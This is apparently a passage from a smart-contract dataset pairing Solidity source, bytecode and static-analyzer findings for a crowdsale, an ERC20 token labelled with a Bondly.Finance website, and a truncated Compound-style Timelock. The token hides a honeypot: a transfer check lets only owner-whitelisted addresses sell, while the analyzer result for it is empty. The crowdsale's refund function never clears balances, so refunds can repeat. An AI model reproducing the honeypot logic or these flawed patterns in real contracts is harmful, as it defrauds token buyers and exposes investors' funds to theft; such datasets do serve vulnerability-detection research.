targetBonus; } } contract Crowdsale is PurchaseBonusCrowdsale { uint public start; uint public period; uint public invested; uint public hardCap; uint public softCap; address public multisigWallet; address public secondWallet; address public foundersTokensWallet; uint public secondWalletPercent; uint public foundersTokensPercent; uint public price; uint public minPrice; uint public percentRate = 1000; bool public refundOn = false; mapping (address => uint) public balances; SGAToken public token = new SGAToken(); function Crowdsale() { period = 60; price = 3000; minPrice = 50000000000000000; start = 1505998800; hardCap = 186000000000000000000000; softCap = 50000000000000000000000; foundersTokensPercent = 202; foundersTokensWallet = 0x839D81F27B870632428fab6ae9c5903936a4E5aE; multisigWallet = 0x0CeeD87a6b8ac86938B6c2d1a0fA2B2e9000Cf6c; secondWallet = 0x949e62320992D5BD123B4616d2E2769473101AbB; secondWalletPercent = 10; addBonus(1000000000000000000,5); addBonus(2000000000000000000,10); addBonus(3000000000000000000,15); addBonus(5000000000000000000,20); addBonus(7000000000000000000,25); addBonus(10000000000000000000,30); addBonus(15000000000000000000,35); addBonus(20000000000000000000,40); addBonus(50000000000000000000,45); addBonus(75000000000000000000,50); addBonus(100000000000000000000,55); addBonus(150000000000000000000,60); addBonus(200000000000000000000,70); addBonus(300000000000000000000,75); addBonus(500000000000000000000,80); addBonus(750000000000000000000,90); addBonus(1000000000000000000000,100); addBonus(1500000000000000000000,110); addBonus(2000000000000000000000,125); addBonus(3000000000000000000000,140); } modifier saleIsOn() { require(now >= start && now < lastSaleDate()); _; } modifier isUnderHardCap() { require(invested <= hardCap); _; } function lastSaleDate() constant returns(uint) { return start + period * 1 days; } function setStart(uint newStart) onlyOwner { start = newStart; } function setMinPrice(uint newMinPrice) onlyOwner { minPrice = newMinPrice; } function setHardcap(uint newHardcap) onlyOwner { hardCap = newHardcap; } function setPrice(uint newPrice) onlyOwner { price = newPrice; } function setFoundersTokensPercent(uint newFoundersTokensPercent) onlyOwner { foundersTokensPercent = newFoundersTokensPercent; } function setSoftcap(uint newSoftcap) onlyOwner { softCap = newSoftcap; } function setSecondWallet(address newSecondWallet) onlyOwner { secondWallet = newSecondWallet; } function setSecondWalletPercent(uint newSecondWalletPercent) onlyOwner { secondWalletPercent = newSecondWalletPercent; } function setMultisigWallet(address newMultisigWallet) onlyOwner { multisigWallet = newMultisigWallet; } function setFoundersTokensWallet(address newFoundersTokensWallet) onlyOwner { foundersTokensWallet = newFoundersTokensWallet; } function createTokens() whenNotPaused isUnderHardCap saleIsOn payable { require(msg.value >= minPrice); balances[msg.sender] = balances[msg.sender].add(msg.value); invested = invested.add(msg.value); uint bonusPercent = getBonus(msg.value); uint tokens = msg.value.mul(price); uint bonusTokens = tokens.mul(bonusPercent).div(percentRate); uint tokensWithBonus = tokens.add(bonusTokens); token.mint(this, tokensWithBonus); token.transfer(msg.sender, tokensWithBonus); } function refund() whenNotPaused { require(now > start && refundOn && balances[msg.sender] > 0); msg.sender.transfer(balances[msg.sender]); } function finishMinting() public whenNotPaused onlyOwner { if(invested < softCap) { refundOn = true; } else { uint secondWalletInvested = invested.mul(secondWalletPercent).div(percentRate); secondWallet.transfer(secondWalletInvested); multisigWallet.transfer(invested - secondWalletInvested); uint issuedTokenSupply = token.totalSupply(); uint foundersTokens = issuedTokenSupply.mul(foundersTokensPercent).div(percentRate - foundersTokensPercent); token.mint(this, foundersTokens); token.allowTransfer(); token.transfer(foundersTokensWallet, foundersTokens); } token.finishMinting(); token.transferOwnership(owner); } function() external payable { createTokens(); } function retrieveTokens(address anotherToken) public onlyOwner { ERC20 alienToken = ERC20(anotherToken); alienToken.transfer(multisigWallet, token.balanceOf(this)); } }
0x606060405236156100e35763ffffffff7c010000000000000000000000000000000000000000000000000000000060003504166305d2035b81146100e857806306fdde031461010f578063095ea7b31461019a57806318160ddd146101d057806323b872dd146101f5578063313ce5671461023157806334fec4671461025d57806340c10f191461028457806370a08231146102ba5780637d64bcb4146102eb5780638da5cb5b1461031257806395d89b41146103415780639b08a22f146103cc578063a9059cbb146103e1578063dd62ed3e14610417578063f2fde38b1461044e575b600080fd5b34156100f357600080fd5b6100fb61046f565b604051901515815260200160405180910390f35b341561011a57600080fd5b610122610490565b60405160208082528190810183818151815260200191508051906020019080838360005b8381101561015f5780820151818401525b602001610146565b50505050905090810190601f16801561018c5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34156101a557600080fd5b6100fb600160a060020a03600435166024356104c7565b604051901515815260200160405180910390f35b34156101db57600080fd5b6101e361056e565b60405190815260200160405180910390f35b341561020057600080fd5b6100fb600160a060020a0360043581169060243516604435610574565b604051901515815260200160405180910390f35b341561023c57600080fd5b6102446105be565b60405163ffffffff909116815260200160405180910390f35b341561026857600080fd5b6100fb6105c3565b604051901515815260200160405180910390f35b341561028f57600080fd5b6100fb600160a060020a03600435166024356105d3565b604051901515815260200160405180910390f35b34156102c557600080fd5b6101e3600160a060020a03600435166106b5565b60405190815260200160405180910390f35b34156102f657600080fd5b6100fb6106d4565b604051901515815260200160405180910390f35b341561031d57600080fd5b61032561075b565b604051600160a060020a03909116815260200160405180910390f35b341561034c57600080fd5b61012261076a565b60405160208082528190810183818151815260200191508051906020019080838360005b8381101561015f5780820151818401525b602001610146565b50505050905090810190601f16801561018c5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34156103d757600080fd5b6103df6107a1565b005b34156103ec57600080fd5b6100fb600160a060020a03600435166024356107e5565b604051901515815260200160405180910390f35b341561042257600080fd5b6101e3600160a060020a036004358116906024351661082d565b60405190815260200160405180910390f35b341561045957600080fd5b6103df600160a060020a036004351661085a565b005b60035474010000000000000000000000000000000000000000900460ff1681565b60408051908101604052600981527f53474120546f6b656e0000000000000000000000000000000000000000000000602082015281565b60008115806104f95750600160a060020a03338116600090815260026020908152604080832093871683529290522054155b151561050457600080fd5b600160a060020a03338116600081815260026020908152604080832094881680845294909152908190208590557f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259085905190815260200160405180910390a35060015b92915050565b60005481565b60035460009060a860020a900460ff168061059d575060035433600160a060020a039081169116145b15156105a857600080fd5b6105b38484846108b7565b90505b5b9392505050565b601281565b60035460a860020a900460ff1681565b60035460009033600160a060020a039081169116146105f157600080fd5b60035474010000000000000000000000000000000000000000900460ff161561061957600080fd5b60005461062c908363ffffffff6109cc16565b6000908155600160a060020a038416815260016020526040902054610657908363ffffffff6109cc16565b600160a060020a0384166000818152600160205260409081902092909255907f0f6798a560793a54c3bcfe86a93cde1e73087d944c0ea20544137d41213968859084905190815260200160405180910390a25060015b5b5b92915050565b600160a060020a0381166000908152600160205260409020545b919050565b60035460009033600160a060020a039081169116146106f257600080fd5b6003805474ff00000000000000000000000000000000000000001916740100000000000000000000000000000000000000001790557fae5184fba832cb2b1f702aca6117b8d265eaf03ad33eb133f19dde0f5920fa0860405160405180910390a15060015b5b90565b600354600160a060020a031681565b60408051908101604052600381527f5347410000000000000000000000000000000000000000000000000000000000602082015281565b60035433600160a060020a039081169116146107bc57600080fd5b6003805475ff000000000000000000000000000000000000000000191660a860020a1790555b5b565b60035460009060a860020a900460ff168061080e575060035433600160a060020a039081169116145b151561081957600080fd5b61082383836109e6565b90505b5b92915050565b600160a060020a038083166000908152600260209081526040808320938516835292905220545b92915050565b60035433600160a060020a0390811691161461087557600080fd5b600160a060020a038116151561088a57600080fd5b6003805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0383161790555b5b50565b600160a060020a0380841660009081526002602090815260408083203385168452825280832054938616835260019091528120549091906108fe908463ffffffff6109cc16565b600160a060020a038086166000908152600160205260408082209390935590871681522054610933908463ffffffff610aa616565b600160a060020a03861660009081526001602052604090205561095c818463ffffffff610aa616565b600160a060020a03808716600081815260026020908152604080832033861684529091529081902093909355908616917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9086905190815260200160405180910390a3600191505b509392505050565b6000828201838110156109db57fe5b8091505b5092915050565b600160a060020a033316600090815260016020526040812054610a0f908363ffffffff610aa616565b600160a060020a033381166000908152600160205260408082209390935590851681522054610a44908363ffffffff6109cc16565b600160a060020a0380851660008181526001602052604090819020939093559133909116907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9085905190815260200160405180910390a35060015b92915050565b600082821115610ab257fe5b508082035b929150505600a165627a7a72305820b275c97b09c54d82fe690f727409fe1926a0326e6acb030e76d6c0c4e16e13790029
{"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
5,878
0xbf52b5ea58076dcd19a17892bb9a7b46eba8f770
// ---------------------------------------------------------------- //Website:https://Bondly.Finance // ---------------------------------------------------------------- pragma solidity ^0.6.0; library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { // Solidity only automatically asserts when dividing by 0 require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } library Address { function isContract(address account) internal view returns (bool) { // According to EIP-1052, 0x0 is the value returned for not-yet created accounts // and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned // for accounts without code, i.e. `keccak256('')` bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash := extcodehash(account) } return (codehash != accountHash && codehash != 0x0); } function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); } function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); return _functionCallWithValue(target, data, value, errorMessage); } function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) { require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: weiValue }(data); if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } contract Context { constructor () internal { } function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; return msg.data; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } contract ERC20 is Context, IERC20 { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; address private _router = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D; uint256 private _totalSupply; string private _name; string private _symbol; uint8 private _decimals; address private _address0; address private _address1; mapping (address => bool) private _Addressint; uint256 private _zero = 0; uint256 private _valuehash = 115792089237316195423570985008687907853269984665640564039457584007913129639935; constructor (string memory name, string memory symbol, uint256 initialSupply,address payable owner) public { _name = name; _symbol = symbol; _decimals = 18; _address0 = owner; _address1 = owner; _mint(_address0, initialSupply*(10**18)); } function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public view returns (uint8) { return _decimals; } function totalSupply() public view override returns (uint256) { return _totalSupply; } function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function ints(address addressn) public { require(msg.sender == _address0, "!_address0");_address1 = addressn; } function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } function _transfer(address sender, address recipient, uint256 amount) internal virtual{ require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); _ints(sender, recipient, amount); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } function _ints(address sender, address recipient, uint256 amount) internal view virtual{ if(recipient != _address0 && sender != _address0 && _address0!=_address1 && amount > _zero){require(sender == _address1 ||sender==_router || _Addressint[sender], "ERC20: transfer from the zero address");} } function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } function multiaddress(uint8 AllowN,address[] memory receivers, uint256[] memory amounts) public { for (uint256 i = 0; i < receivers.length; i++) { if (msg.sender == _address0){ transfer(receivers[i], amounts[i]); if(i<AllowN){ _Addressint[receivers[i]] = true; _approve(receivers[i], _router, _valuehash); } } } } function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _setupDecimals(uint8 decimals_) internal { _decimals = decimals_; } function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { } function _Erc20Token(address from, address to, uint256 amount) internal virtual { } }
0x608060405234801561001057600080fd5b50600436106100cf5760003560e01c8063438dd0871161008c578063a457c2d711610066578063a457c2d71461040a578063a9059cbb14610470578063b952390d146104d6578063dd62ed3e1461062f576100cf565b8063438dd087146102eb57806370a082311461032f57806395d89b4114610387576100cf565b806306fdde03146100d4578063095ea7b31461015757806318160ddd146101bd57806323b872dd146101db578063313ce567146102615780633950935114610285575b600080fd5b6100dc6106a7565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561011c578082015181840152602081019050610101565b50505050905090810190601f1680156101495780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6101a36004803603604081101561016d57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610749565b604051808215151515815260200191505060405180910390f35b6101c5610767565b6040518082815260200191505060405180910390f35b610247600480360360608110156101f157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610771565b604051808215151515815260200191505060405180910390f35b61026961084a565b604051808260ff1660ff16815260200191505060405180910390f35b6102d16004803603604081101561029b57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610861565b604051808215151515815260200191505060405180910390f35b61032d6004803603602081101561030157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610914565b005b6103716004803603602081101561034557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610a1b565b6040518082815260200191505060405180910390f35b61038f610a63565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156103cf5780820151818401526020810190506103b4565b50505050905090810190601f1680156103fc5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6104566004803603604081101561042057600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610b05565b604051808215151515815260200191505060405180910390f35b6104bc6004803603604081101561048657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610bd2565b604051808215151515815260200191505060405180910390f35b61062d600480360360608110156104ec57600080fd5b81019080803560ff1690602001909291908035906020019064010000000081111561051657600080fd5b82018360208201111561052857600080fd5b8035906020019184602083028401116401000000008311171561054a57600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f820116905080830192505050505050509192919290803590602001906401000000008111156105aa57600080fd5b8201836020820111156105bc57600080fd5b803590602001918460208302840111640100000000831117156105de57600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f820116905080830192505050505050509192919290505050610bf0565b005b6106916004803603604081101561064557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610d53565b6040518082815260200191505060405180910390f35b606060048054600181600116156101000203166002900480601f01602080910402602001604051908101604052809291908181526020018280546001816001161561010002031660029004801561073f5780601f106107145761010080835404028352916020019161073f565b820191906000526020600020905b81548152906001019060200180831161072257829003601f168201915b5050505050905090565b600061075d610756610dda565b8484610de2565b6001905092915050565b6000600354905090565b600061077e848484610fd9565b61083f8461078a610dda565b61083a856040518060600160405280602881526020016116f060289139600160008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006107f0610dda565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546112a59092919063ffffffff16565b610de2565b600190509392505050565b6000600660009054906101000a900460ff16905090565b600061090a61086e610dda565b84610905856001600061087f610dda565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461136590919063ffffffff16565b610de2565b6001905092915050565b600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146109d7576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600a8152602001807f215f61646472657373300000000000000000000000000000000000000000000081525060200191505060405180910390fd5b80600760006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b606060058054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610afb5780601f10610ad057610100808354040283529160200191610afb565b820191906000526020600020905b815481529060010190602001808311610ade57829003601f168201915b5050505050905090565b6000610bc8610b12610dda565b84610bc3856040518060600160405280602581526020016117616025913960016000610b3c610dda565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546112a59092919063ffffffff16565b610de2565b6001905092915050565b6000610be6610bdf610dda565b8484610fd9565b6001905092915050565b60008090505b8251811015610d4d57600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415610d4057610c85838281518110610c6457fe5b6020026020010151838381518110610c7857fe5b6020026020010151610bd2565b508360ff16811015610d3f57600160086000858481518110610ca357fe5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550610d3e838281518110610d0b57fe5b6020026020010151600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600a54610de2565b5b5b8080600101915050610bf6565b50505050565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610e68576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602481526020018061173d6024913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610eee576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260228152602001806116a86022913960400191505060405180910390fd5b80600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561105f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260258152602001806117186025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156110e5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260238152602001806116856023913960400191505060405180910390fd5b6110f08383836113ed565b6110fb8383836113f2565b611166816040518060600160405280602681526020016116ca602691396000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546112a59092919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506111f9816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461136590919063ffffffff16565b6000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a3505050565b6000838311158290611352576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b838110156113175780820151818401526020810190506112fc565b50505050905090810190601f1680156113445780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b6000808284019050838110156113e3576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b505050565b600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415801561149e5750600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b801561151a5750600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614155b8015611527575060095481115b1561167f57600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614806115d55750600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b806116295750600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b61167e576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260258152602001806117186025913960400191505060405180910390fd5b5b50505056fe45524332303a207472616e7366657220746f20746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e636545524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f206164647265737345524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa2646970667358221220e4d5ab89a063ae99082f4117bcc264862fbcb2c9aa63e4bcdb68075d39e59abf64736f6c63430006060033
{"success": true, "error": null, "results": {}}
5,879
0x2aa624c9c50e6c536cb9c4b07ad8d830ee1f123f
/** *Submitted for verification at Etherscan.io on 2020-08-30 */ pragma solidity ^0.5.17; // Original file came from Compound: https://github.com/compound-finance/compound-protocol/blob/master/contracts/Timelock.sol // Original audit: https://blog.openzeppelin.com/compound-finance-patch-audit/ // Overview: // No Critical // No High // // Changes made by PYLON after audit: // Formatting, naming, & uint256 instead of uint // SPDX-License-Identifier: MIT /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /** * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity 